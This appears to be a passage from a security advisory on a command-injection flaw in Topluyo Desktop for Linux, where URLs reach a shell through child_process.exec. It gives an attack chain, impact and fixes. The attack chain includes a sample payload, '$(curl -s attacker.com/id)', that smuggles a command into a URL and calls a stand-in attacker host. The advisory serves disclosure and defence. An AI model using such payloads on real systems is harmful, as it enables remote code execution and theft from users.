Attack Chain

1. Attacker crafts a URL string containing command substitution syntax, such as $(curl -s attacker.com/id).
2. Attacker hosts or delivers the malicious link to a target user via the application interface (e.g., chat, notification, or link preview).
3. The target user interacts with the link (clicks).
4. The openExternalLinks() function receives the URL.
5. The application invokes child_process.exec("xdg-open [malicious_url]").
6. The system shell interprets the command substitution inside the URL parameter before executing xdg-open.
7. Arbitrary commands execute in the context of the user running the Topluyo Desktop application.

Impact

Successful exploitation leads to full remote code execution in the context of the current desktop user. Impact includes arbitrary file access, credential theft, persistence installation (e.g., modifying ~/.bashrc or autostart), and the establishment of reverse shells.

Recommendation

• Upgrade Topluyo Desktop for Linux to version 2026.9.2410 or later immediately.
• For developers, replace child_process.exec() with child_process.execFile() when handling external system commands to prevent shell interpretation of arguments.
• Implement strict allow-listing for URL schemes (e.g., limit to http: and https:) before passing values to system calls.